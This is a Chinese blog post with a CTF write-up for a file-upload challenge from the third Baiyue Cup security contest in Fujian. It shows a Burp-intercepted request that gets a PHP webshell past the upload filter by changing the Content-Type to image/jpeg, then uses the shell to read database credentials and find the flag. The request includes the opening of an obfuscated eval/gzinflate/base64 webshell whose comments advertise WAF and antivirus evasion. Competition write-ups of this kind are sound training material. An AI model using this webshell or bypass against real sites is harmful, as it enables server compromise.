

# ctf-wp-第三届“百越杯”福建省高校网络空间安全大赛 Do you know upload?

原创

zc01@ 于 2018-09-28 14:17:16 发布 1092 收藏

分类专栏: [ctf-wp](#) 文章标签: [ctf wp web 文件上传](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: [https://blog.csdn.net/key\\_nothing/article/details/82882582](https://blog.csdn.net/key_nothing/article/details/82882582)

版权



[ctf-wp 专栏收录该内容](#)

12 篇文章 0 订阅

订阅专栏

考察: 文件上传漏洞、数据库基本操作

访问url: 只能上传图片文件

## 图片上传

Filename:  未选择文件。

[//blog.csdn.net/key\\_nothing](https://blog.csdn.net/key_nothing)

试着上传大马, burp抓包:

```
Request to http://a20332ca331a463a8e65c875054bb8667d4a1a050df64929.game.ichunqiu.com:80 [106.39.208.9]

Forward Drop Intercept is on Action Comment this item

Raw Params Headers Hex

POST / HTTP/1.1
Host: a20332ca331a463a8e65c875054bb8667d4a1a050df64929.game.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://a20332ca331a463a8e65c875054bb8667d4a1a050df64929.game.ichunqiu.com/
Content-Type: multipart/form-data; boundary=-----23281168279961
Content-Length: 2288
Cookie: PHPSESSID=7tcomvdpd63tpja9h4hq43q18o6
Connection: close
Upgrade-Insecure-Requests: 1

-----23281168279961
Content-Disposition: form-data; name="dir"

/uploads/
-----23281168279961
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream

<?php
$password=' admin' ;//登录密码

//本次更新: 体积优化、压缩优化、命令优化、反弹优化、文件管理优化、挂马清马优化等大量功能细节优化。
//功能特色: PHP高版本低版本都能执行, 文件短小精悍, 方便上传, 功能强大, 提权无痕迹, 无视waf, 过安全狗、云锁、360、阿里云、护卫神 戎流waf。同时支持菜刀、xise连接。

$html=' $password'.'='.'.'. $password.'''.'''.'@e#html'.'''.'v'.'''.'''.'''.'''.'''.'a'.'''.'l('.'g'.'''.'''.'z'.'.'i'.'''.'n'.'f'.'l'.''.
.'''.'a'.'t'.'e(b'.'as'.'''.'''.'e'.'6'.'''.'''.'''.'''.'4'.'d'.'e'.'c'.'''.'''.'o'.'d'.'e'.'('.'''1VZhb5tIEBP0e
Kf9hg6ICEufgXBy1sI1TTHJKcY5jjSmbYTwspitMUt3SWiT+r/fLLZjN3UxxfETsybn29nZtndIZwz7n0SMZ7TdKsZent3RxAhKEt9kc81+Qk jZC2R4Ugubbv961+/7LnfFG
yOAsyqtzrOnre3UHw7GN0i1S1PF96EIQHI5LmcrXLnmiSBAqHdRnpME2yIKFdHLRRt39poeOG2UY3NA1ZIZDjoVbjUF/i8AQqhoEgx0d+SDALibb6pdw04n7Xdqzh33fdrvvP46
.....'
```

尝试修改文件类型为: image/jpeg  
结果上传成功:

## 图片上传

Filename:  shell.php

Upload: shell.php  
Type: image/jpeg  
Size: 1.8369140625 Kb  
Stored in: upload/shell.php

访问大马:

上级目录	操作	文件属性	(www-data)用户/组	修改时间	文件大小
upload	改名 删除 打包	0755	www-data:www-data	2018-09-28 05:41:50	
config.php	编辑 改名 删除 复制	0644	root:root	2017-10-16 15:44:40	281 B
ctf.sql	编辑 改名 删除 复制	0	root:root	1970-01-01 00:00:00	0 B
index.php	编辑 改名 删除 复制	0644	root:root	2017-10-16 15:44:40	1.68 K

发现有个ctf.sql。flag应该在数据库中，看看config.php，找到数据库连接方法:

```
#!/var/www/html/config.php
: UTF-8 选择 UTF-8
<?php
error_reporting(0);
session_start();
$servername = "localhost";
$username = "ctf";
$password = "ctfctfctf";
$dbname = "ctf";

// 创建连接
$conn = mysql_connect($servername, $username, $password) or die(" connect to mysql error");
mysql_select_db($dbname);
?>
```

执行一下sql语句：看看都有哪些表



存在flag表，看看内容：



bingo